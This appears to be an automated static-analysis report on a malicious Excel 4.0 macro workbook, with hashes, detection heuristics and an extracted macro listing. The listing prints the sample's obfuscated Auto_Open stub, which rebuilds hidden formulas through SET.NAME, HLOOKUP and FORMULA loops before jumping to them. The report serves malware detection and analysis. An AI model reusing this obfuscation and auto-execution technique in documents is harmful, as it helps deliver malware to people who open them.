Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aea26d0bc28b8ba4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:36 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: e5aa1d072d0a48049e748735dd2fca8e SHA-1: 0de663476235300b4f7c5e80fda01ad1bf29151f SHA-256: aea26d0bc28b8ba48acf57e3c2a9d945906507eac952b8d3e0f1182746bdbf70
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6437 bytes
SHA-256: 6ae8af127c205ed8dada4bfd7055d2103114cb7e3c33071aff18a84327c7b139
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NszTYk
' 0018     25 LABEL : Cell Value, String Constant - aeSRBXbAti len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A160 
' 0018     22 LABEL : Cell Value, String Constant - bztnmOD len=0 
' 0018     20 LABEL : Cell Value, String Constant - CmDnt len=0 
' 0018     20 LABEL : Cell Value, String Constant - CRvfv len=0 
' 0018     23 LABEL : Cell Value, String Constant - FdvDZVXD len=0 
' 0018     25 LABEL : Cell Value, String Constant - JenIHzUtID len=0 
' 0018     20 LABEL : Cell Value, String Constant - lDUaU len=0 
' 0018     21 LABEL : Cell Value, String Constant - mtGWmM len=0 
' 0018     23 LABEL : Cell Value, String Constant - nuwRzjga len=0 
' 0018     21 LABEL : Cell Value, String Constant - oXXyod len=0 
' 0018     23 LABEL : Cell Value, String Constant - pidQAjQO len=0 
' 0018     22 LABEL : Cell Value, String Constant - rhzcbfG len=0 
' 0018     22 LABEL : Cell Value, String Constant - SmXZrHC len=0 
' 0018     21 LABEL : Cell Value, String Constant - sUxkZn len=0 
' 0018     27 LABEL : Cell Value, String Constant - trwQABquMXcX len=0 
' 0018     25 LABEL : Cell Value, String Constant - UwkUluAkqV len=0 
' 0018     24 LABEL : Cell Value, String Constant - WoatmiHtc len=0 
' 0018     24 LABEL : Cell Value, String Constant - XLANPZdCH len=0 
' 0018     23 LABEL : Cell Value, String Constant - yvftGdgW len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZjpxyNKrDEr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NszTYk,A68,"SET.NAME("SmXZrHC",VALUE("0"))",""
'  NszTYk,A72,"SET.NAME("pidQAjQO",SmXZrHC)",""
'  NszTYk,A74,"SET.NAME("aeSRBXbAti",SmXZrHC)",""
'  NszTYk,A78,"SET.NAME("mtGWmM",COUNTA(lDUaU))",""
'  NszTYk,A83,"SET.NAME("CmDnt",COUNTA(trwQABquMXcX))",""
'  NszTYk,A88,[],""
'  NszTYk,A92,"SET.NAME("sUxkZn","")",""
'  NszTYk,A94,"pidQAjQO",""
'  NszTYk,A97,"SET.NAME("nuwRzjga",HLOOKUP("*",lDUaU,pidQAjQO,FALSE))",""
'  NszTYk,A102,"FdvDZVXD",""
'  NszTYk,A107,"SET.NAME("bztnmOD",SmXZrHC)",""
'  NszTYk,A111,[],""
'  NszTYk,A115,"bztnmOD",""
'  NszTYk,A117,"WoatmiHtc",""
'  NszTYk,A119,"CRvfv",""
'  NszTYk,A122,"yvftGdgW",""
'  NszTYk,A126,"SET.NAME("UwkUluAkqV",VALUE(HLOOKUP("*",trwQABquMXcX,yvftGdgW,FALSE)))",""
'  NszTYk,A128,"ZjpxyNKrDEr",""
'  NszTYk,A130,"sUxkZn",""
'  NszTYk,A134,"aeSRBXbAti",""
'  NszTYk,A136,NEXT(),""
'  NszTYk,A139,"JenIHzUtID",""
'  NszTYk,A144,"SET.NAME("f",INT(T(FORMULA(T(sUxkZn)&"",""&T(JenIHzUtID)))))",""
'  NszTYk,A147,"oXXyod",""
'  NszTYk,A151,NEXT(),""
'  NszTYk,A156,RETURN(),""
'  NszTYk,A188,"SET.NAME("XLANPZdCH",A68)",""
'  NszTYk,A192,"lDUaU",""
'  NszTYk,A195,"SET.NAME("trwQABquMXcX",R56C13)",""
'  NszTYk,A199,"SET.NAME("oXXyod",207)",""
'  NszTYk,A201,"SET.NAME("rhzcbfG",1)",""
'  NszTYk,A206,XLANPZdCH(),""
'  NszTYk,A207,HALT(),""

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